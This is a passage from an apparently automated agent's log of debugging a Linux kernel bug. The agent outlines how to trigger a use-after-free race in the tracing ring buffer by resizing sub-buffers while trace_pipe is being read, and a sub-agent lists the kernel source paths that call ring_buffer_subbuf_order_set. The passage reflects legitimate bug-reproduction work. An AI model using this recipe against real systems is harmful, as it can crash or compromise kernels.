* **Enable Trace Events:** I need to ensure some tracing is active, for example, by writing "1" to `/sys/kernel/tracing/events/enable`.
* **Sustain Reader Activity:** A continuous read from `/sys/kernel/tracing/trace_pipe` is vital. This keeps the `tracing_read_pipe` function busy and holding onto pointers to the reader page.
* **Trigger Page Replacement:** The core of the reproducer is the constant writing of alternating valid sizes (like "4\n" and "8\n") to `/sys/kernel/tracing/buffer_subbuf_size_kb`. This forces repeated calls to `ring_buffer_subbuf_order_set`, creating the race condition.
* **Generate Trace Data:** Simultaneously, I need to be actively generating trace events. Calling a simple syscall like `getpid()` in a loop is a lightweight way to achieve this.
By orchestrating these actions concurrently, I can create the specific race condition where the reader page is freed while a reader thread is still holding a pointer to it, leading directly to the use-after-free. The provided C code implements exactly this strategy.
|
| 78/2 |
2026/08/12 02:33 |
tool |
codeexpert |
2m
Args: map[Question:Is there any other way to trigger ring_buffer_subbuf_order_set besides writing to buffer_subbuf_size_kb?]
Results: map[Answer:Yes, there are several other ways to trigger `ring_buffer_subbuf_order_set` besides writing to `buffer_subbuf_size_kb`.
In the Linux kernel source code, `ring_buffer_subbuf_order_set` is called in two files:
1. `kernel/trace/trace.c` (inside `buffer_subbuf_size_write`, which is triggered by writing to `buffer_subbuf_size_kb`).
2. `kernel/trace/trace_snapshot.c` (inside `tracing_alloc_snapshot_instance` and `free_snapshot`).
Therefore, any action that allocates, arms, or frees/resets a snapshot buffer will trigger `ring_buffer_subbuf_order_set` (specifically for the snapshot buffer, to synchronize its sub-buffer order/size with the main buffer, or to reset it to 0 when freed).
Here are all the other ways to trigger `ring_buffer_subbuf_order_set`:
### 1. Interacting with the `snapshot` file in the tracefs directory
* **Allocating/Taking a snapshot:** Writing `1` to the `snapshot` file (e.g., `echo 1 > snapshot`) triggers `tracing_arm_snapshot_locked()`, which calls `tracing_alloc_snapshot_instance()`. If the snapshot buffer is not yet allocated, this calls `ring_buffer_subbuf_order_set()` to set the snapshot buffer's sub-buffer order to match the main buffer's order.
* **Freeing a snapshot:** Writing `0` to the `snapshot` file (e.g., `echo 0 > snapshot`) triggers `free_snapshot()`, which calls `ring_buffer_subbuf_order_set(..., 0)` to reset the snapshot buffer's sub-buffer order to 0.
### 2. Changing the current tracer (writing to `current_tracer`)
* **Enabling a tracer that uses a snapshot:** When switching to a tracer that requires a snapshot buffer (such as `wakeup`, `wakeup_rt`, `wakeup_dl`, `irqsoff`, `preemptoff`, or `preemptirqsoff`), the kernel automatically triggers `tracing_arm_snapshot_locked()`, which calls `tracing_alloc_snapshot_instance()` and sets the snapshot buffer's sub-buffer order.
* **Disabling a tracer that uses a snapshot:** When switching away from a tracer that uses a snapshot to one that does not (e.g., `nop`), the kernel triggers `free_snapshot()`, which resets the snapshot buffer's sub-buffer order to 0.
### 3. Registering/Enabling a snapshot event trigger
* Adding a `snapshot` trigger to a trace event (e.g., `echo snapshot > events/<group>/<event>/trigger`) triggers `register_snapshot_trigger()`, which arms the snapshot via `tracing_arm_snapshot()`. This calls `tracing_alloc_snapshot_instance()` and sets the snapshot buffer's sub-buffer order.
### 4. Registering/Enabling a snapshot function trigger
* Adding a `snapshot` trigger to a function tracer (e.g., `echo 'sys_clone:snapshot' > set_ftrace_filter`) triggers `ftrace_trace_snapshot_callback()`, which arms the snapshot via `tracing_arm_snapshot()`. This calls `tracing_alloc_snapshot_instance()` and sets the snapshot buffer's sub-buffer order.
### 5. Enabling a conditional snapshot via histogram triggers
* Using the `snapshot()` action on a histogram trigger (e.g., `echo 'hist:keys=...:onmax(...).snapshot()' > events/<group>/<event>/trigger`) triggers `action_create()`, which calls `tracing_snapshot_cond_enable()`. This arms the snapshot and calls `tracing_alloc_snapshot_instance()`, setting the snapshot buffer's sub-buffer order.
### 6. Boot-time tracing configuration
* If the kernel boot parameter/boot config has `alloc_snapshot` set for a tracing instance (e.g., via `trace_boot_enable_tracer()`), the kernel calls `tracing_alloc_snapshot_instance()` during boot, which sets the snapshot buffer's sub-buffer order.
### 7. Calling `tracing_snapshot_alloc()` from kernel code/modules
* Any kernel code or driver/module can call the exported function `tracing_snapshot_alloc()`, which calls `tracing_alloc_snapshot()`, which calls `tracing_alloc_snapshot_instance()` and sets the snapshot buffer's sub-buffer order.]
|
| 79/3 |
2026/08/12 02:33 |
agent |
codeexpert |
2m
Model:
Results: map[Answer:Yes, there are several other ways to trigger `ring_buffer_subbuf_order_set` besides writing to `buffer_subbuf_size_kb`.
In the Linux kernel source code, `ring_buffer_subbuf_order_set` is called in two files:
1. `kernel/trace/trace.c` (inside `buffer_subbuf_size_write`, which is triggered by writing to `buffer_subbuf_size_kb`).
2. `kernel/trace/trace_snapshot.c` (inside `tracing_alloc_snapshot_instance` and `free_snapshot`).
Therefore, any action that allocates, arms, or frees/resets a snapshot buffer will trigger `ring_buffer_subbuf_order_set` (specifically for the snapshot buffer, to synchronize its sub-buffer order/size with the main buffer, or to reset it to 0 when freed).
Here are all the other ways to trigger `ring_buffer_subbuf_order_set`:
### 1. Interacting with the `snapshot` file in the tracefs directory
* **Allocating/Taking a snapshot:** Writing `1` to the `snapshot` file (e.g., `echo 1 > snapshot`) triggers `tracing_arm_snapshot_locked()`, which calls `tracing_alloc_snapshot_instance()`. If the snapshot buffer is not yet allocated, this calls `ring_buffer_subbuf_order_set()` to set the snapshot buffer's sub-buffer order to match the main buffer's order.
* **Freeing a snapshot:** Writing `0` to the `snapshot` file (e.g., `echo 0 > snapshot`) triggers `free_snapshot()`, which calls `ring_buffer_subbuf_order_set(..., 0)` to reset the snapshot buffer's sub-buffer order to 0.
### 2. Changing the current tracer (writing to `current_tracer`)
* **Enabling a tracer that uses a snapshot:** When switching to a tracer that requires a snapshot buffer (such as `wakeup`, `wakeup_rt`, `wakeup_dl`, `irqsoff`, `preemptoff`, or `preemptirqsoff`), the kernel automatically triggers `tracing_arm_snapshot_locked()`, which calls `tracing_alloc_snapshot_instance()` and sets the snapshot buffer's sub-buffer order.
* **Disabling a tracer that uses a snapshot:** When switching away from a tracer that uses a snapshot to one that does not (e.g., `nop`), the kernel triggers `free_snapshot()`, which resets the snapshot buffer's sub-buffer order to 0.
### 3. Registering/Enabling a snapshot event trigger
* Adding a `snapshot` trigger to a trace event (e.g., `echo snapshot > events/<group>/<event>/trigger`) triggers `register_snapshot_trigger()`, which arms the snapshot via `tracing_arm_snapshot()`. This calls `tracing_alloc_snapshot_instance()` and sets the snapshot buffer's sub-buffer order.
### 4. Registering/Enabling a snapshot function trigger
* Adding a `snapshot` trigger to a function tracer (e.g., `echo 'sys_clone:snapshot' > set_ftrace_filter`) triggers `ftrace_trace_snapshot_callback()`, which arms the snapshot via `tracing_arm_snapshot()`. This calls `tracing_alloc_snapshot_instance()` and sets the snapshot buffer's sub-buffer order.
### 5. Enabling a conditional snapshot via histogram triggers
* Using the `snapshot()` action on a histogram trigger (e.g., `echo 'hist:keys=...:onmax(...).snapshot()' > events/<group>/<event>/trigger`) triggers `action_create()`, which calls `tracing_snapshot_cond_enable()`. This arms the snapshot and calls `tracing_alloc_snapshot_instance()`, setting the snapshot buffer's sub-buffer order.
### 6. Boot-time tracing configuration
* If the kernel boot parameter/boot config has `alloc_snapshot` set for a tracing instance (e.g., via `trace_boot_enable_tracer()`), the kernel calls `tracing_alloc_snapshot_instance()` during boot, which sets the snapshot buffer's sub-buffer order.
### 7. Calling `tracing_snapshot_alloc()` from kernel code/modules
* Any kernel code or driver/module can call the exported function `tracing_snapshot_alloc()`, which calls `tracing_alloc_snapshot()`, which calls `tracing_alloc_snapshot_instance()` and sets the snapshot buffer's sub-buffer order.]
Instruction:
You are a capable Linux kernel developer tasked with researching complex questions
about kernel source code. You will be given a concrete question, and need to provide
a concrete answer.
Use tools extensively while researching the question. Don't make assumptions,
or rely on your previous knowledge about the kernel source code, use available tools
to access the actual source code.
Use all available sources of information:
- kernel source code
- documentation in the Documentation dir in the source tree
Do not guess file names or file paths and attempt to read them without
verifying their existence first using content search or directory listing tools.
If a file, symbol, or directory is not found via content search (grepper) or
directory listing (codesearch-dir-index), treat it as completely absent.
Do not attempt to guess alternative names, extensions, or directories.
Tool Selection Guidelines:
1. For C functions, structs, and variables: Prefer codesearch-definition-source
or codesearch-struct-layout FIRST to retrieve clean, exact definitions
without line-number guessing.
2. If symbol lookup fails (e.g., preprocessor macros, macro-generated code, or
disabled #ifdef branches), fall back to read-file or grepper.
3. For file headers, #include directives, preprocessor macro definitions, and
non-C files (Kconfig, Makefiles, docs): Use read-file or grepper directly.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Is there any other way to trigger ring_buffer_subbuf_order_set besides writing to buffer_subbuf_size_kb?
|
| 80/4 |
2026/08/12 02:33 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 2248
output: 28
thoughts: 89
Thoughts: **My Thought Process on Triggering `ring_buffer_subbuf_order_set`**
Ah, I see the user's question is quite specific: they want to know if `ring_buffer_subbuf_order_set` can be invoked by means *other than* directly writing to `buffer_subbuf_size_kb`. This implies they understand that modifying `buffer_subbuf_size_kb` *does* trigger it, but they're looking for alternative entry points or dependencies.
My immediate next step, given this precise query and the nature of code exploration, is to systematically investigate the `ring_buffer_subbuf_order_set` function itself. I need to understand its context within the codebase. The most logical way to do this is to:
1. **Locate the definition:** Where is `ring_buffer_subbuf_order_set` actually implemented? What is its signature, its purpose, and what does it *do* internally?
2. **Identify its callers:** Who, or what, invokes this function? This is crucial for understanding how it gets executed.
To achieve this, I'll leverage the available tooling. My go-to for this kind of exploration is `codesearch-find-references`. I will specifically query it for `ring_buffer_subbuf_order_set`. This command will, hopefully, provide me with a list of all the locations in the codebase where `ring_buffer_subbuf_order_set` is referenced, including its definition and all call sites. By examining these call sites, I can then trace the execution flow and determine if there are indeed other paths to `ring_buffer_subbuf_order_set` besides the direct modification of `buffer_subbuf_size_kb`.
|
| 81/4 |
2026/08/12 02:33 |
tool |
codesearch-find-references |
0m
Args: map[Name:ring_buffer_subbuf_order_set]
Results: map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:buffer_subbuf_size_write SourceFile:kernel/trace/trace.c SourceLine:8221] map[ReferenceKind:takes-address-of ReferencingEntityKind:global_variable ReferencingEntityName:__UNIQUE_ID_addressable_ring_buffer_subbuf_order_set_1268 SourceFile:kernel/trace/ring_buffer.c SourceLine:7470] map[ReferenceKind:takes-address-of ReferencingEntityKind:global_variable ReferencingEntityName:__gendwarfksyms_ptr_ring_buffer_subbuf_order_set SourceFile:kernel/trace/ring_buffer.c SourceLine:7470] map[ReferenceKind:takes-address-of ReferencingEntityKind:global_variable ReferencingEntityName:__gendwarfksyms_ptr_ring_buffer_subbuf_order_set SourceFile:kernel/trace/ring_buffer.c SourceLine:7470]] TruncatedOutput:false]
|
| 82/4 |
2026/08/12 02:33 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 2574
output: 28
thoughts: 49
Thoughts: **My Thought Process on Understanding `ring_buffer_subbuf_order_set`**
My immediate inclination is to understand the mechanics and origin of this `ring_buffer_subbuf_order_set` identifier. As an expert in this domain, I recognize that understanding *what* something is and *where* it originates are foundational steps for any meaningful analysis or modification. Therefore, my first action is to leverage `codesearch-definition-source` to pinpoint its definition. This tool is invaluable for tracing an identifier back to its source code, which will reveal its type, its immediate context, and potentially its ancestral relationships within the codebase. This will allow me to grasp its fundamental purpose and how it fits into the broader architecture.
|
| 83/4 |
2026/08/12 02:33 |
tool |
codesearch-definition-source |
0m
Args: map[Name:ring_buffer_subbuf_order_set]
Results: map[SourceCode:7298: /**
7299: * ring_buffer_subbuf_order_set - set the size of ring buffer sub page.
7300: * @buffer: The ring_buffer to set the new page size.
7301: * @order: Order of the system pages in one sub buffer page
7302: *
7303: * By default, one ring buffer pages equals to one system page. This API can be
7304: * used to set new size of the ring buffer page. The size must be order of
7305: * system page size, that's why the input parameter @order is the order of
7306: * system pages that are allocated for one ring buffer page:
7307: * 0 - 1 system page
7308: * 1 - 2 system pages
7309: * 3 - 4 system pages
7310: * ...
7311: *
7312: * Returns 0 on success or < 0 in case of an error.
7313: */
7314: int ring_buffer_subbuf_order_set(struct trace_buffer *buffer, int order)
7315: {
7316: struct ring_buffer_per_cpu *cpu_buffer;
7317: struct buffer_page *bpage, *tmp;
7318: int old_order, old_size;
7319: int nr_pages;
7320: int psize;
7321: int err;
7322: int cpu;
7323:
7324: if (!buffer || order < 0)
7325: return -EINVAL;
7326:
7327: if (buffer->subbuf_order == order)
7328: return 0;
7329:
7330: psize = (1 << order) * PAGE_SIZE;
7331: if (psize <= BUF_PAGE_HDR_SIZE)
7332: return -EINVAL;
7333:
7334: /* Size of a subbuf cannot be greater than the write counter */
7335: if (psize > RB_WRITE_MASK + 1)
7336: return -EINVAL;
7337:
7338: old_order = buffer->subbuf_order;
7339: old_size = buffer->subbuf_size;
7340:
7341: /* prevent another thread from changing buffer sizes */
7342: guard(mutex)(&buffer->mutex);
7343: atomic_inc(&buffer->record_disabled);
7344:
7345: /* Make sure all commits have finished */
7346: synchronize_rcu();
7347:
7348: buffer->subbuf_order = order;
7349: buffer->subbuf_size = psize - BUF_PAGE_HDR_SIZE;
7350:
7351: /* Make sure all new buffers are allocated, before deleting the old ones */
7352: for_each_buffer_cpu(buffer, cpu) {
7353:
7354: if (!cpumask_test_cpu(cpu, buffer->cpumask))
7355: continue;
7356:
7357: cpu_buffer = buffer->buffers[cpu];
7358:
7359: if (cpu_buffer->mapped) {
7360: err = -EBUSY;
7361: goto error;
7362: }
7363:
7364: /* Update the number of pages to match the new size */
7365: nr_pages = old_size * buffer->buffers[cpu]->nr_pages;
7366: nr_pages = DIV_ROUND_UP(nr_pages, buffer->subbuf_size);
7367:
7368: /* we need a minimum of two pages */
7369: if (nr_pages < 2)
7370: nr_pages = 2;
7371:
7372: cpu_buffer->nr_pages_to_update = nr_pages;
7373:
7374: /* Include the reader page */
7375: nr_pages++;
7376:
7377: /* Allocate the new size buffer */
7378: INIT_LIST_HEAD(&cpu_buffer->new_pages);
7379: if (__rb_allocate_pages(cpu_buffer, nr_pages,
7380: &cpu_buffer->new_pages)) {
7381: /* not enough memory for new pages */
7382: err = -ENOMEM;
7383: goto error;
7384: }
7385: }
7386:
7387: for_each_buffer_cpu(buffer, cpu) {
7388: struct buffer_data_page *old_free_data_page;
7389: struct list_head old_pages;
7390: unsigned long flags;
7391:
7392: if (!cpumask_test_cpu(cpu, buffer->cpumask))
7393: continue;
7394:
7395: cpu_buffer = buffer->buffers[cpu];
7396:
7397: raw_spin_lock_irqsave(&cpu_buffer->reader_lock, flags);
7398:
7399: /* Clear the head bit to make the link list normal to read */
7400: rb_head_page_deactivate(cpu_buffer);
7401:
7402: /*
7403: * Collect buffers from the cpu_buffer pages list and the
7404: * reader_page on old_pages, so they can be freed later when not
7405: * under a spinlock. The pages list is a linked list with no
7406: * head, adding old_pages turns it into a regular list with
7407: * old_pages being the head.
7408: */
7409: list_add(&old_pages, cpu_buffer->pages);
7410: list_add(&cpu_buffer->reader_page->list, &old_pages);
7411:
7412: /* One page was allocated for the reader page */
7413: cpu_buffer->reader_page = list_entry(cpu_buffer->new_pages.next,
7414: struct buffer_page, list);
7415: list_del_init(&cpu_buffer->reader_page->list);
7416:
7417: /* Install the new pages, remove the head from the list */
7418: cpu_buffer->pages = cpu_buffer->new_pages.next;
7419: list_del_init(&cpu_buffer->new_pages);
7420: cpu_buffer->cnt++;
7421:
7422: cpu_buffer->head_page
7423: = list_entry(cpu_buffer->pages, struct buffer_page, list);
7424: cpu_buffer->tail_page = cpu_buffer->commit_page = cpu_buffer->head_page;
7425:
7426: cpu_buffer->nr_pages = cpu_buffer->nr_pages_to_update;
7427: cpu_buffer->nr_pages_to_update = 0;
7428:
7429: old_free_data_page = cpu_buffer->free_page;
7430: cpu_buffer->free_page = NULL;
7431:
7432: rb_head_page_activate(cpu_buffer);
7433:
7434: raw_spin_unlock_irqrestore(&cpu_buffer->reader_lock, flags);
7435:
7436: /* Free old sub buffers */
7437: list_for_each_entry_safe(bpage, tmp, &old_pages, list) {
7438: list_del_init(&bpage->list);
7439: free_buffer_page(bpage);
7440: }
7441: free_pages((unsigned long)old_free_data_page, old_order);
7442:
7443: rb_check_pages(cpu_buffer);
7444: }
7445:
7446: atomic_dec(&buffer->record_disabled);
7447:
7448: return 0;
7449:
7450: error:
7451: buffer->subbuf_order = old_order;
7452: buffer->subbuf_size = old_size;
7453:
7454: atomic_dec(&buffer->record_disabled);
7455:
7456: for_each_buffer_cpu(buffer, cpu) {
7457: cpu_buffer = buffer->buffers[cpu];
7458:
7459: if (!cpu_buffer->nr_pages_to_update)
7460: continue;
7461:
7462: list_for_each_entry_safe(bpage, tmp, &cpu_buffer->new_pages, list) {
7463: list_del_init(&bpage->list);
7464: free_buffer_page(bpage);
7465: }
7466: }
7467:
7468: return err;
7469: }
SourceFile:kernel/trace/ring_buffer.c]
|
| 84/4 |
2026/08/12 02:33 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 5222
output: 26
thoughts: 40
Thoughts: **My Thought Process for Understanding `buffer_subbuf_size_write`**
As an expert in this domain, my initial step in understanding any new piece of code, especially one as potentially critical as `buffer_subbuf_size_write`, is to locate its definition and understand its direct context. My immediate instinct is to leverage my existing tooling. Therefore, I'll be initiating a `codesearch-definition-source` query on the identifier `buffer_subbuf_size_write`. This will allow me to pinpoint precisely where this function or variable is declared and defined within the codebase. From there, I anticipate being able to trace its usage and infer its purpose based on the surrounding code and any associated comments or documentation.
|
| 85/4 |
2026/08/12 02:33 |
tool |
codesearch-definition-source |
0m
Args: map[Name:buffer_subbuf_size_write]
Results: map[SourceCode:8190: static ssize_t
8191: buffer_subbuf_size_write(struct file *filp, const char __user *ubuf,
8192: size_t cnt, loff_t *ppos)
8193: {
8194: struct trace_array *tr = filp->private_data;
8195: unsigned long val;
8196: int old_order;
8197: int order;
8198: int pages;
8199: int ret;
8200:
8201: ret = kstrtoul_from_user(ubuf, cnt, 10, &val);
8202: if (ret)
8203: return ret;
8204:
8205: val *= 1024; /* value passed in is in KB */
8206:
8207: pages = DIV_ROUND_UP(val, PAGE_SIZE);
8208: order = fls(pages - 1);
8209:
8210: /* limit between 1 and 128 system pages */
8211: if (order < 0 || order > 7)
8212: return -EINVAL;
8213:
8214: /* Do not allow tracing while changing the order of the ring buffer */
8215: tracing_stop_tr(tr);
8216:
8217: old_order = ring_buffer_subbuf_order_get(tr->array_buffer.buffer);
8218: if (old_order == order)
8219: goto out;
8220:
8221: ret = ring_buffer_subbuf_order_set(tr->array_buffer.buffer, order);
8222: if (ret)
8223: goto out;
8224:
8225: #ifdef CONFIG_TRACER_SNAPSHOT
8226:
8227: if (!tr->allocated_snapshot)
8228: goto out_max;
8229:
8230: ret = ring_buffer_subbuf_order_set(tr->snapshot_buffer.buffer, order);
8231: if (ret) {
8232: /* Put back the old order */
8233: cnt = ring_buffer_subbuf_order_set(tr->array_buffer.buffer, old_order);
8234: if (WARN_ON_ONCE(cnt)) {
8235: /*
8236: * AARGH! We are left with different orders!
8237: * The max buffer is our "snapshot" buffer.
8238: * When a tracer needs a snapshot (one of the
8239: * latency tracers), it swaps the max buffer
8240: * with the saved snap shot. We succeeded to
8241: * update the order of the main buffer, but failed to
8242: * update the order of the max buffer. But when we tried
8243: * to reset the main buffer to the original size, we
8244: * failed there too. This is very unlikely to
8245: * happen, but if it does, warn and kill all
8246: * tracing.
8247: */
8248: tracing_disabled = 1;
8249: }
8250: goto out;
8251: }
8252: out_max:
8253: #endif
8254: (*ppos)++;
8255: out:
8256: if (ret)
8257: cnt = ret;
8258: tracing_start_tr(tr);
8259: return cnt;
8260: }
SourceFile:kernel/trace/trace.c]
|
| 86/4 |
2026/08/12 02:33 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 6313
output: 24
thoughts: 203
Thoughts: **My Thought Process Regarding `ring_buffer_subbuf_order_set`**
My immediate instinct is to understand the scope and usage of `ring_buffer_subbuf_order_set`. To do this comprehensively, I'm initiating a broad search across the entire codebase using `grepper`. My goal is to uncover all instances where this symbol appears, whether it's being defined, referenced, or exported. I want to see if there are any other files that interact with it, or if it's a public interface that other modules might be relying on.
Now, I've received the initial results from `codesearch-find-references`. This is valuable information, but I need to scrutinize it. I see a reference to `buffer_subbuf_size_write` within `kernel/trace/trace.c`. This suggests a functional dependency, where the `ring_buffer_subbuf_order_set` might be influencing how sub-buffer sizes are written. I also notice two entries originating from `kernel/trace/ring_buffer.c`: `__UNIQUE_ID_addressable_ring_buffer_subbuf_order_set_1268` and `__gendwarfksyms_ptr_ring_buffer_subbuf_order_set`. The `EXPORT_SYMBOL_GPL` annotation on the first one is particularly important – it tells me this function is intended to be accessible to other GPL-licensed modules, meaning it's likely part of the public API for the tracing subsystem. The second one, relating to Dwarf symbols, is more about debugging and symbol table information, but still confirms its presence and export.
However, I don't want to stop at the first pass. To ensure I haven't missed anything subtle or that the `codesearch-find-references` tool might have overlooked, I'm going to run `grepper` again, this time specifically targeting `ring_buffer_subbuf_order_set`. This second, more direct `grepper` invocation acts as a verification step, aiming to catch any discrepancies or additional occurrences that might not have been surfaced by the more structured `codesearch` tool. I want to be absolutely certain about its presence and connectivity throughout the project.
|
| 87/4 |
2026/08/12 02:33 |
tool |
grepper |
0m
Args: map[Expression:ring_buffer_subbuf_order_set]
Results: map[Output:include/linux/ring_buffer.h=235=int ring_buffer_subbuf_order_get(struct trace_buffer *buffer);
include/linux/ring_buffer.h:236:int ring_buffer_subbuf_order_set(struct trace_buffer *buffer, int order);
include/linux/ring_buffer.h-237-int ring_buffer_subbuf_size_get(struct trace_buffer *buffer);
--
kernel/trace/ring_buffer.c=7296=EXPORT_SYMBOL_GPL(ring_buffer_subbuf_order_get);
--
kernel/trace/ring_buffer.c-7298-/**
kernel/trace/ring_buffer.c:7299: * ring_buffer_subbuf_order_set - set the size of ring buffer sub page.
kernel/trace/ring_buffer.c-7300- * @buffer: The ring_buffer to set the new page size.
--
kernel/trace/ring_buffer.c-7313- */
kernel/trace/ring_buffer.c:7314:int ring_buffer_subbuf_order_set(struct trace_buffer *buffer, int order)
kernel/trace/ring_buffer.c-7315-{
--
kernel/trace/ring_buffer.c-7469-}
kernel/trace/ring_buffer.c:7470:EXPORT_SYMBOL_GPL(ring_buffer_subbuf_order_set);
kernel/trace/ring_buffer.c-7471-
--
kernel/trace/trace.c=8191=buffer_subbuf_size_write(struct file *filp, const char __user *ubuf,
--
kernel/trace/trace.c-8220-
kernel/trace/trace.c:8221: ret = ring_buffer_subbuf_order_set(tr->array_buffer.buffer, order);
kernel/trace/trace.c-8222- if (ret)
--
kernel/trace/trace.c-8229-
kernel/trace/trace.c:8230: ret = ring_buffer_subbuf_order_set(tr->snapshot_buffer.buffer, order);
kernel/trace/trace.c-8231- if (ret) {
kernel/trace/trace.c-8232- /* Put back the old order */
kernel/trace/trace.c:8233: cnt = ring_buffer_subbuf_order_set(tr->array_buffer.buffer, old_order);
kernel/trace/trace.c-8234- if (WARN_ON_ONCE(cnt)) {
--
kernel/trace/trace_snapshot.c=162=int tracing_alloc_snapshot_instance(struct trace_array *tr)
--
kernel/trace/trace_snapshot.c-170- order = ring_buffer_subbuf_order_get(tr->array_buffer.buffer);
kernel/trace/trace_snapshot.c:171: ret = ring_buffer_subbuf_order_set(tr->snapshot_buffer.buffer, order);
kernel/trace/trace_snapshot.c-172- if (ret < 0)
--
kernel/trace/trace_snapshot.c=187=void free_snapshot(struct trace_array *tr)
--
kernel/trace/trace_snapshot.c-193- */
kernel/trace/trace_snapshot.c:194: ring_buffer_subbuf_order_set(tr->snapshot_buffer.buffer, 0);
kernel/trace/trace_snapshot.c-195- ring_buffer_resize(tr->snapshot_buffer.buffer, 1, RING_BUFFER_ALL_CPUS);
]
|
| 88/4 |
2026/08/12 02:33 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 7446
output: 25
thoughts: 148
Thoughts: **My Thought Process Regarding `ring_buffer_subbuf_order_set` Calls**
My initial observation, as I was sifting through the code, immediately caught my attention: the `ring_buffer_subbuf_order_set` function appears to be invoked in two distinct locations within the kernel's tracing infrastructure. This isn't necessarily surprising in a complex system like the kernel, but it's always a good starting point to understand the context of such calls.
Specifically, I noted its presence in `kernel/trace/trace.c`. Digging a bit deeper, I saw it was being called within `buffer_subbuf_size_write`. My understanding is that this particular function is directly triggered when a user-space process writes to the `buffer_subbuf_size_kb` control file. This implies a direct mechanism for dynamically adjusting the sub-buffer order, likely as part of configuring the ring buffer's capacity for tracing data, possibly on a per-tracepoint or per-instance basis.
The second area where `ring_buffer_subbuf_order_set` surfaced was in `kernel/trace/trace_snapshot.c`. Here, the calls were embedded within `tracing_alloc_snapshot_instance` and `free_snapshot`. This immediately piqued my interest. Why would the sub-buffer order need to be adjusted during the allocation or deallocation of snapshot instances? This suggests a deeper integration between the snapshotting mechanism and the underlying ring buffer's configuration.
To truly grasp the implications of these snapshot-related calls, my next logical step was to investigate *how* `tracing_alloc_snapshot_instance` and `free_snapshot` themselves are invoked. To do this effectively, I decided to leverage `codesearch-definition-source` on these functions. This tool is invaluable for tracing the call chains and identifying all the places where these snapshot operations originate, which in turn will illuminate the circumstances under which `ring_buffer_subbuf_order_set` is influenced by the snapshotting subsystem. By mapping out these call sites, I aim to understand if the sub-buffer order is being adjusted proactively during snapshot creation, or perhaps reactively in response to memory pressures or specific snapshot configurations, and similarly, what triggers the deallocation and potential order reset.
|
| 89/4 |
2026/08/12 02:33 |
tool |
codesearch-definition-source |
0m
Args: map[Name:tracing_alloc_snapshot_instance]
Results: map[SourceCode:2329: static inline int tracing_alloc_snapshot_instance(struct trace_array *tr)
2330: {
2331: return 0;
2332: }
SourceFile:kernel/trace/trace.h]
|
| 90/4 |
2026/08/12 02:33 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 7685
output: 25
thoughts: 68
Thoughts: **My Thought Process Regarding `tracing_alloc_snapshot_instance`**
Okay, so I've just encountered `tracing_alloc_snapshot_instance` and it seems I've found another definition for it, this time in `kernel/trace/trace_snapshot.c`. My immediate reaction is, "Hold on, that's unexpected." When you're dealing with kernel code, especially in areas as complex as tracing, you want to be absolutely sure you understand the scope and behavior of every function. Having multiple definitions, or even seemingly duplicate ones, can be a red flag. It might indicate a misunderstanding on my part, a subtle difference in intent, or potentially a bug or leftover from refactoring.
My next step is to investigate this further. The most direct way to resolve this is to examine the source code of `kernel/trace/trace_snapshot.c` to understand that specific definition. However, before diving into the file line by line, I want to get a broader perspective. I need to see how `tracing_alloc_snapshot_instance` is actually used throughout the kernel. This will help me contextualize both definitions and understand if they serve different purposes or if one is preferred over the other.
Therefore, I've decided to use a tool like `codesearch-find-references` on `tracing_alloc_snapshot_instance`. This command is going to be invaluable. It will scan the entire codebase and present me with every single place where this function is called or referenced. By analyzing these call sites, I can start to piece together the actual usage patterns, the data it operates on, and the expected outcomes. This comprehensive view will be crucial for understanding the implications of the duplicate definition and for determining the correct path forward in my analysis.
|
| 91/4 |
2026/08/12 02:33 |
tool |
codesearch-find-references |
0m
Args: map[Name:tracing_alloc_snapshot_instance]
Results: map[References:<nil> TruncatedOutput:false]
|
| 92/4 |
2026/08/12 02:33 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 7787
output: 21
thoughts: 34
Thoughts: **My Thought Process on Resolving a Null `codesearch-find-references` Result**
Okay, so the initial probe, `codesearch-find-references`, has come back empty for `tracing_alloc_snapshot_instance`. That's unexpected, and frankly, a bit concerning. My immediate reaction is to consider why that might be the case. Is the symbol truly absent from the codebase? Or is there a limitation or issue with `codesearch-find-references` itself in this particular context? Given my expertise, I know that while powerful, these indexing and searching tools can sometimes miss things, especially with complex or dynamic code structures.
Therefore, my next logical step is to employ a more direct, albeit potentially less performant, method for verification. I need to pivot to a tool that operates at a deeper, more granular level of text matching. This is where `grepper` comes into play. It's my go-to for a brute-force, pattern-based search across the entire repository. I'm expecting `grepper` to cast a wider net and, hopefully, surface any occurrences of `tracing_alloc_snapshot_instance` that `codesearch-find-references` might have overlooked. The goal here is to confirm its presence, or definitively establish its absence, through a more robust search mechanism.
|
| 93/4 |
2026/08/12 02:33 |
tool |
grepper |
0m
Args: map[Expression:tracing_alloc_snapshot_instance]
Results: map[Output:kernel/trace/trace.c=888=int tracing_alloc_snapshot(void)
--
kernel/trace/trace.c-892-
kernel/trace/trace.c:893: ret = tracing_alloc_snapshot_instance(tr);
kernel/trace/trace.c-894- WARN_ON(ret < 0);
--
kernel/trace/trace.h=2309=void tracing_snapshot_instance(struct trace_array *tr);
kernel/trace/trace.h:2310:int tracing_alloc_snapshot_instance(struct trace_array *tr);
kernel/trace/trace.h-2311-int tracing_arm_snapshot_locked(struct trace_array *tr);
--
kernel/trace/trace.h=2328=static inline void tracing_snapshot_instance(struct trace_array *tr) { }
kernel/trace/trace.h:2329:static inline int tracing_alloc_snapshot_instance(struct trace_array *tr)
kernel/trace/trace.h-2330-{
--
kernel/trace/trace_boot.c=593=trace_boot_enable_tracer(struct trace_array *tr, struct xbc_node *node)
--
kernel/trace/trace_boot.c-606- if (xbc_node_find_value(node, "alloc_snapshot", NULL)) {
kernel/trace/trace_boot.c:607: if (tracing_alloc_snapshot_instance(tr) < 0)
kernel/trace/trace_boot.c-608- pr_err("Failed to allocate snapshot buffer\n");
--
kernel/trace/trace_snapshot.c=137=int resize_buffer_duplicate_size(struct array_buffer *trace_buf,
--
kernel/trace/trace_snapshot.c-161-
kernel/trace/trace_snapshot.c:162:int tracing_alloc_snapshot_instance(struct trace_array *tr)
kernel/trace/trace_snapshot.c-163-{
--
kernel/trace/trace_snapshot.c=201=int tracing_arm_snapshot_locked(struct trace_array *tr)
--
